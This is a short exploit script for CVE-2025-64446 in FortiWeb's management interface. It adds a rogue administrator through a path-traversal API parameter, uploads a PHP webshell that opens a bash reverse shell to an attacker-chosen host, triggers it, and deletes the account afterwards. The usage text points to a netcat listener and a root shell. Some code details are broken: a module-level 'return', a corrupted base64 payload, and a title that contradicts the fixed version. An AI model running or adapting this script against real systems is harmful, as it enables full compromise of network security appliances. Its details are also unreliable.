# Exploit Title: FortiWeb 8.0.2 - Remote Code Execution # Date: 2025-11-22 # Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Vendor Homepage: https://www.fortinet.com # Software Link: https://www.fortinet.com/products/web-application-firewall/fortiweb # Version: FortiWeb < 7.6.7, < 7.8.7, < 8.0.2 # Tested on: FortiWeb 7.4.2, 7.6.0, 7.6.1 (VM builds) # CVE: CVE-2025-64446 # CVSS: 9.8 (Critical) # Category: WebApps # Platform: Hardware/Appliance (Linux-based) # CRITICAL: True # Including: Authentication Bypass + Path Traversal + Arbitrary File Upload → RCE # Impact: Full system compromise, root reverse shell # Fix: Upgrade to FortiWeb 7.6.7, 7.8.7, 8.0.2 or later # Advisory: https://www.fortinet.com/support/psirt/FG-IR-25-64446 # Patch: https://support.fortinet.com # Target: FortiWeb management interface (default port 8443) import requests, sys, time, base64 from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def banner(): print(""" CVE-2025-64446 FortiWeb RCE Exploit Author: Mohammed Idrees Banyamer | @banyamer_security LAB / AUTHORIZED TESTING ONLY """) if len(sys.argv) != 4: banner() print("Usage : python3 fortiweb_rce.py <target> <lhost> <lport>") print("Example: python3 fortiweb_rce.py https://192.168.100.50:8443 192.168.45.10 4444") print("\nSteps:") print(" 1. Start listener → nc -lvnp 4444") print(" 2. Run exploit → python3 fortiweb_rce.py <target> <your_ip> 4444") print(" 3. Get root shell → enjoy\n") sys.exit(1) banner() target = sys.argv[1].rstrip("/") LHOST = sys.argv[2] LPORT = sys.argv[3] print(f"[*] Target : {target}") print(f"[*] Callback : {LHOST}:{LPORT}\n") s = requests.Session() s.verify = False s.headers = {"Content-Type": "application/json"} print("[1] Creating temporary admin user...") payload = {"../../mkey": "pwnedadmin", "password": "Pwned123!", "isadmin": "1", "status": "enable"} r = s.post(f"{target}/api/v2.0/user/local.add", json=payload, timeout=10) if r.status_code != 200 or "success" not in r.text: print("[-] Failed to create admin → Target is likely patched") return print("[2] Logging in with new admin...") login = s.post(f"{target}/api/v2.0/login", json={"username":"pwnedadmin","password":"Pwned123!"}, timeout=10) if "success" not in login.text: print("[-] Login failed") return shell = f'<?php system("bash -c \'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1\'"); ?>' b64shell = base64.b64encode(shell.encode()).decode() + "AAA==" print("[3] Uploading webshell via backup function...") files = {'upload-file': ('pwned.dat', b64shell, 'application/octet-stream')} s.post(f"{target}/api/v2.0/system/maintenance/backup", files=files, timeout=15) print(f"[4] Triggering reverse shell to {LHOST}:{LPORT} ...") s.get(f"{target}/pwned.dat", timeout=10) time.sleep(8) print("[5] Cleaning up temporary admin account...") s.post(f"{target}/api/v2.0/user/local.delete", json={"../../mkey":"pwnedadmin"}) print("\n[+] Exploit completed – check your listener for root shell!")